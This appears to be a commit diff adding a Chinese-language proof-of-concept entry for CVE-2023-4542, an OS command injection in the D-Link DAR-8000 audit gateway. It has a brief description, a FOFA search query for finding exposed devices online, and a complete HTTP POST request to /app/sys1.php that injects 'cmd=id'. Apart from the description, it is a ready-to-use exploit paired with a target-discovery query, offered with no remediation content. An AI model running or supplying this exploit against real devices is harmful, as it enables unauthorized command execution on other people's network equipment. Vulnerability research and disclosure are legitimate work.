Create D-Link_DAR-8000操作系统命令注入漏洞(CVE-2023-4542).md

D-Link_DAR-8000操作系统命令注入漏洞(CVE-2023-4542).md

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+## D-Link_DAR-8000操作系统命令注入漏洞(CVE-2023-4542)
+
+D-Link DAR-8000是中国友讯（D-Link）公司的上网行为审计网关。
+
+D-Link DAR-8000-10版本存在操作系统命令注入漏洞，该漏洞源于文件/app/sys1.php的参数id会导致操作系统命令注入。
+
+![c28cb815357f9d7746051855c037606e](https://github.com/wy876/POC/assets/139549762/ce09a764-517f-449d-8296-97a315b590ba)
+
+## fofa
+```
+body="DAR-8000-10" && title="D-Link"
+```
+
+## poc
+```
+POST /app/sys1.php HTTP/1.1
+Host: 127.0.0.1
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/115.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+Accept-Encoding: gzip, deflate
+Upgrade-Insecure-Requests: 1
+Sec-Fetch-Dest: document
+Sec-Fetch-Mode: navigate
+Sec-Fetch-Site: none
+Sec-Fetch-User: ?1
+Te: trailers
+Connection: close
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 6
+
+cmd=id
+```
+![532f25d46e25fe6fb6ceff1b97beb88f](https://github.com/wy876/POC/assets/139549762/4ac6df4e-d49c-43ee-83f2-e49ce8f7db3b)